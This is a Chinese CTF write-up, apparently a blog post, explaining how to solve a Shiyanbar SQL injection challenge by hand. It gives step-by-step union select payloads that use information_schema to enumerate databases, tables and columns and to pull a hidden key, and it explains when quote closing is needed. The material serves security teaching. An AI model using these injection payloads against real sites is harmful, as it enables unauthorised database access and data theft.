题目链接:http://www.shiyanbar.com/ctf/33
今天小编在写这道题题解的时候才发现,原来实验吧有这道题的视频讲解。看了一下,视频讲的不是很清楚,而且用的还是sqlmap进行注入的,那么小编这里还是用手工注入的角度来讲解一下这道题如何去注入。
这道题其实蛮简单的,点开题目,我们能看到一个疑似sql查找结果的表:
看下URL,我们可以看到URL中传入id=1这个参数。
那么第一步,确定是否有注入,确定的方法当然是经典的单引号、1=1、1=2。
尝试发现这里是存在注入的,那么接下来我们开始爆数据库,爆表,爆字段。
首先是爆数据库:
union select 1,schema_name from information_schema.schemata这里我们爆出的数据库,可以看到爆出my_db这个数据库。
接下来我们爆表:
union select 1,table_name from information_schema.tables where table_schema='my_db'爆出的表中我们可以看到thiskey,应该这就是我们要找的表。
然后是爆字段:
union select 1,column_name from information_schema.columns where table_name='thiskey'很明显这个k0y就是我们的目标字段。
最后查询这个字段得到我们的结果:
union select 1,k0y from thiskey因为这道题似乎没有对一些字段进行过滤,所以我们注入非常的轻松^v^。
这里回答一下上一次在"简单的sql注入"题解下面问我关于单引号的问题的那位同学。
我们在sql注入的时候,什么时候用单引号闭合的问题要根据实际情况进行分析,像这道题为什么没有用到单引号进行闭合呢?因为这道题的注入的参数类型是数字型,所以后台的查询应该是
Select * from 表名 where 字段=1但是如果参数的类型是字符型,后台应该为:
Select * from 表名 where 字段=’字符’所以只有遇到字符型的时候我们才需要用单引号进行闭合。
实验吧WEB SQL注入详解

本文详细解析了实验吧CTF挑战中的一道SQL注入题目,通过手工注入方法,逐步揭示了如何确定注入、爆库、爆表及爆字段的过程,帮助理解数字型SQL注入的实战技巧。
858

被折叠的 条评论
为什么被折叠?



